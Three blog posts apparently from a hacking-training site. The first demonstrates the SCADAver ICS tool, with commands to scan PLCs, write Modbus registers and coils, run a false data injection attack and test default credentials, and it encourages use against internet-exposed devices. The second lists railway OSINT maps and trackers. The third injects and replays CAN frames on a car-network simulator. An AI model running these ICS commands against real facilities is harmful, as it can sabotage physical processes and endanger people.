Welcome back, cyberwarriors!

Lately we’ve been seeing more reports on attacks against industrial facilities. It’s often the case that the hardware behind these facilities has been vulnerable and overlooked for years. Administrators may know how to set these systems up and keep them running, but they don’t know how to secure them. So many SCADA/ICS/OT systems are reachable from the internet, and basically anyone can interact with them.

There are plenty of tools out there built to test specific functions of SCADA systems, but SCADAver seems to pack a lot more features into just one tool. That’s why we’ll cover it today.

SCADAver

SCADAver is a new tool written in Rust. It came out recently. The tool can discover, fingerprint, enumerate and test systems across common industrial protocols. In one binary you get a CLI interface, a terminal UI and a browser UI.

This project is still experimental. It’s built from public protocol documentation, vulnerability advisories and security research. It works pretty well for assessing device security internally, but you can also use it against devices reachable from the internet, since plenty of them are insecure. And it’s not just active interaction either, SCADAver supports PCAP file analysis too. The tool can also set up a rogue device you can test safely.

Setting Up

We’ll go with the quickest route and just download the compiled version. The developer has it available for Windows, macOS and Linux.

ubuntu > curl https://github.com/Whispergate/SCADAVER/releases/download/v1.5.1/scadaver-linux-x86_64

ubuntu > mv scadaver-linux-x86_64 scadaver
ubuntu > mv scadaver /usr/bin

Working with SCADAver

We’ll mainly be using the CLI version throughout the demonstration, though the terminal UI and browser UI will get shown too. The CLI version will probably be the most convenient for a lot of you.

First let’s list the help menu and see what the tool has:

ubuntu > scadaver -h 

As you can see, we’ve got commands here. Each command has its own help menu where you’ll find more information on exploits and other flags. You’ll see it later.

Siemens S7 – Basics 

Let’s do a basic scan of a Siemens system and see what the tool comes back with.

# a basic scan 
ubuntu > scadaver -i IP scan

# a stealthy scan
ubuntu > scadaver -z -i IP scan

It found port 102 open, and it was Siemens indeed.

We can also do a protocol specific scan or point it at a custom port if necessary:

ubuntu > scadaver -z -i IP --protocol siemens scan

# or with a custom port 
ubuntu > scadaver -z -p 105 -i IP --protocol siemens scan 

Port scanning is also possible. That’ll come in handy when you’re working internally and sweeping networks to find SCADA systems.

ubuntu > scadaver run portscan -i IP

Having covered the basics, we can move on to more interesting stuff and pull some information off this system.

Siemens S7 – Extracting Values

SCADAver can fetch every switch that’s currently on or off on the system. Having a map with human readable labels really helps here, that way you’ll know what each switch is actually responsible for (pump running, valve closed and so on).

ubuntu > scadaver -i IP get io

Say you know a pump is running, now you can find out exactly how it’s supposed to run. We do that with get db, which extracts memory chunks from the device.

ubuntu > scadaver -i IP get db 1 0 64

Here we ask it to open Data Block 1, start at byte 0, and read 64 bytes. Just like with get io, we need a symbol table or the program itself to understand what these values mean. With a symbol table, we’d know that if DB1 holds 1500, the program wants 1500 rpm, for example.

Modbus – Changing Values

We’re not limited to reading only, we can set our own values for registers and coils too. Here are some examples:

ubuntu > scadaver -i IP -p 502 set register 1 1234
ubuntu > scadaver -i IP -p 502 set registers 0 100,200,300,400
ubuntu > scadaver -i IP -p 502 set coil 5 on
ubuntu > scadaver -i IP -p 502 get register 1
ubuntu > scadaver -i IP -p 502 get coil 5 1

Between 2007 and 2010 Stuxnet leaned heavily on a highly sophisticated False Data Injection (FDI) attack to conceal its sabotage. The malware recorded 21 seconds of normal operational sensor readings from the centrifuges and looped that healthy operational data back to the Human Machine Interface (HMI) and the main controller.

We can pull this off too:

ubuntu > scadaver -i IP run fdi --address 100 --value 500 --count 20

With this command we keep writing the same number into one Modbus register, over and over. Many HMIs and programs read that register and trust it blindly. So the screen or the logic keeps seeing 500 even if the real process is doing something else entirely. 500 here could mean 500 rpm, 500 liters, or 50.0°C. Only the map tells you what it’s actually responsible for.

As you know, there can be several PLCs in one cabinet, and you need a way to know which one you’re working with. Schneider’s identify yourself packet (UDP 27127) makes many M340, M580, Quantum and Premium units blink an LED on the panel. It’s a harmless identity check.

ubuntu > scadaver -i IP run flash-led

These SCADA systems often have an HTTP web interface that you can access and interact with. Sometimes, it’s authentication gated and prompts you to enter valid credentials. Here’s another run command that’ll test default credentials against HTTP Basic Auth.

ubuntu > scadaver -i IP run default-creds

More exploits and actions that run has can be seen in the help menu:

ubuntu > scadaver run -h 

Another interesting thing you might find is the database knowledge behind researching and exploiting SCADA systems. We listed all of them for Siemens:

ubuntu > scadaver db refs siemens

Browser UI & Terminal UI

In case you don’t like working with the CLI, you can try the other options.

For the Terminal UI run this:

ubuntu > scadaver

And the Browser UI can be set up with this command: 

ubuntu > scadaver web

It will be hosted on http://127.0.0.1:8888

Summary

The developer calls it a unified ICS red team multi tool, and it truly is. It’s handy to have all these exploits and recon features packed into one tool that supports so many protocols and products. Obviously it’s still in active development, since it just came out. But even so, you can already put it to use instead of switching between different tools.

We haven’t covered all its features and functions, that would make this far too long. Feel free to experiment with it yourself, since it can even set up a rogue server for you to test against.

If you want to learn how to hack and secure SCADA systems, we invite you to our training led by OccupyTheWeb. It’s available for both beginners and advanced students.

The post SCADA/ICS/OT Hacking and Security: Hacking with SCADAver first appeared on Hackers Arise.

Welcome back, aspiring cyberwarriors!

Railways are probably the most talkative piece of infrastructure in the world. Unlike military installations or closed networks, most railway data is deliberately published in the open: timetables, track diagrams and network lengths. All of this exists to serve passengers, logistics companies, and researchers, but that same data turns out to be a powerful OSINT resource for transport infrastructure analysts and security researchers alike.

In this article, I will walk through a set of open tools that let you investigate the rail infrastructure of almost any country, from a static map of the tracks to the real-time position of a single train. Let’s get rolling!

Why This Matters

A rail network is the physical backbone of a country’s logistics, covering passenger traffic, freight corridors, border crossings, and industrial sidings. For an analyst, it is a source of information about the network’s topology, meaning which lines connect where, which stations act as junctions, and which branches simply end. It also reveals capacity and traffic load, since it shows how many trains actually run on a given route. Beyond that, it exposes concrete infrastructure objects such as stations, depots, marshalling yards, and industrial spur lines. Finally, it can show real-time dynamics, meaning where a specific train or tram happens to be right now.

Each tool described below covers a different slice of this picture. Together they form a fairly complete stack for railway OSINT.

Step 1: OpenRailwayMap

https://www.openrailwaymap.org

This is a derivative project of OpenStreetMap dedicated entirely to railway infrastructure. The map displays tracks broken down by electrification, gauge, and number of tracks, along with signaling equipment and speed limits through its Maxspeed layer. It also shows stations, platforms, depots, and switches, and includes an operations layer that reveals which operator a given section of track belongs to.

Step 2: NS International Station Maps

https://www.nsinternational.com/en/stations/station-maps-floor-plan

This is a catalog of floor plans for European railway stations. It is useful when you need to understand the internal layout of a specific hub, including platform positions, exits, and interchange points with other transport modes.

For an OSINT analyst, this is a natural complement to satellite imagery. A floor plan shows what you cannot see from above, such as platform numbering, service access points, and staff-only zones.

Step 3: geOps Mobility Portal

https://mobility.portal.geops.io

This is an online tracker that shows the live movement of trains and public transport across most of Europe, tied to the published timetable. On the map, you can see the current position of a service, its train number and rolling stock type, and any delays relative to schedule.

Step 4: Yandex Rasp Train Map

https://rasp.yandex.ru/map/trains

This is a similar service, but it covers Russia, Belarus, Kazakhstan, and Uzbekistan, regions that geOps does not reach.

Step 5: Wikiroutes

https://wikiroutes.info

This is a crowdsourced directory of public transport routes covering trams, trolleybuses, buses, and metro systems in cities worldwide. It is not strictly a railway resource, but it is valuable for analyzing the last mile, meaning how passengers actually get from a station into the city, and for understanding how a rail network integrates with the rest of urban transport.

Step 6: City Population, network length statistics

https://www.citypopulation.de/en/world/bymap/railways

This is a statistical resource showing total railway track length broken down by country and region.

Summary

Rail infrastructure is one of the few types of critical infrastructure where states and operators voluntarily publish an enormous amount of detailed open data, simply because passengers need it. For an analyst that means a combination of free maps, trackers, and directories can produce a picture rivaling that of commercial geospatial analytics products. All it takes is knowing which tool covers which layer of the data.

If you’re looking to enhance your OSINT skills beyond just using this tool, consider exploring OSINT training. If you need assistance in uncovering the truth, don’t hesitate to reach out to us at hackers-arise@protonmail.com, and we’ll conduct a comprehensive OSINT investigation for you.

The post Open Source Intelligence (OSINT): What Open Maps and Trackers Reveal About Rail Networks first appeared on Hackers Arise.

Welcome back, cyberwarriors!

Earlier, we wrote an article on the issues that cars have. These issues are still common and car ransomware might soon emerge, hitting not just individual cars but entire fleets as vehicles get more autonomous and packed with different features.

In light of that, we want to show you a tool that makes car hacking more approachable. It’s GearGoat. The tool was built to simulate a car’s internal network so you can play with it.

GearGoat

GearGoat is a car simulator developed by INE Labs. It lets you work with the internal communication network used by most modern vehicles (CAN bus). Every action generates CAN packets on a virtual interface. You can use cansniffer, candump and UDS scanners with GearGoat, just like with any vehicle.

In a real car, you’d connect a CAN adapter (CANable or Macchina M2) into the OBD-II port, located under the dashboard. This port is basically a gateway into the vehicle’s internal network. Your system will treat the adapter as a network interface (can0) and you can start capturing and sending CAN messages. When someone presses the brake or turns on the indicators, it generates messages that travel across the network.

Setting Up

GearGoat runs inside a Docker container, so it’s easy to deploy. Clone the repository and run the script:

kali > git clone https://github.com/ine-labs/GearGoat.git
kali > cd GearGoat
kali > sudo chmod +x initial_setup.sh
kali > sudo ./initial_setup.sh

Then you need to configure the virtual CAN interface (vcan0):

kali > sudo chmod +x vcan_setup.sh
kali > sudo ./vcan_setup.sh

On certain distros you might be missing kernel modules. Here’s how you install them:

kali > sudo apt-get install -y linux-modules-extra-$(uname -r)

It doesn’t always work on Kali Linux though. You can manually load the required modules and create the interface yourself:

kali > sudo modprobe vcan
kali > sudo ip link add dev vcan0 type vcan
kali > sudo ip link set up vcan0
kali > ip link show vcan0

Now everything should be ready. You can start GearGoat:

kali > sudo docker run --network="host" --privileged geargoat

The simulator will be hosted on http://localhost. There you’ll see different car functions. Each button on the interface generates CAN traffic.

Intercepting Traffic

While the simulator’s running, it continuously generates CAN traffic. To see this traffic, use cansniffer.

kali > cansniffer -c vcan0

The output can feel overwhelming. The tool keeps highlighting changing bytes dynamically. It’s very noisy when you’re trying to establish a baseline. You need a way to tell the tool what normal looks like. Press Shift + 3 + Enter multiple times and cansniffer will treat the current state as the baseline. It won’t highlight the background noise anymore, so you’ll only see the changes you make.

Once the baseline is set, you can start playing with the simulator. Click the Left Indicator button and you’ll notice a change in the CAN data.

The first byte of a frame changes and it’s tied to 0x188. That means this identifier controls the indicator state.

When you play with the speedometer, you’ll see a different pattern. The changes happen in the 4th and 5th bytes are associated with 0x244. The speed climbs gradually.

Repeat this with other controls and you’ll see how functions map on the CAN bus.

Sending Input

Now we know which messages control specific functions, so we can interact with them.

To control the indicators, we’ll send CAN frames using cansend:

kali > cansend vcan0 188#0100000000000000  # left
kali > cansend vcan0 188#0200000000000000  # right

These commands will turn on the left and right indicators. The CAN bus runs at high speed, so these changes can be hard to catch. We used the watch command to make it more visible:

kali > watch -n 0.1 "cansend vcan0 188#0200000000000000"

Working with speed gets slightly more complex. Earlier, we found the address (0x244) and that specific bytes that control the value. To set a speed, we need to convert miles per hour into the format the CAN message expects.

To simulate a speed of 50 miles per hour you send:

kali > cansend vcan0 244#0000001F6F

You can see the simulator accelerating. Use the formula V = round(mph / 0.6213751 * 100) to calculate the value, then convert it into hexadecimal using big-endian.

Capturing and Replaying Traffic

You can also capture and replay traffic. That way you can record a sequence of actions and reproduce them.

To capture traffic, you use candump with logging:

kali > candump -l vcan0 

It’ll record the CAN messages into a log file. Once captured, you can replay it:

kali > canplayer -I <log_file_name>.log

Summary

GearGoat can get you started with car hacking. You work with a simulated CAN bus to understand the communication patterns and message structure. It’s easy to set up and it’s not resource intensive, so it’ll run on pretty much any computer.

We also have our three-day Car Hacking training, showing you real attacks. It includes CAN protocol exploitation and the use of Software Defined Radio (SDR). There we show you how modern vehicles are actually compromised.

The post Automobile Hacking: Hacking with GearGoat first appeared on Hackers Arise.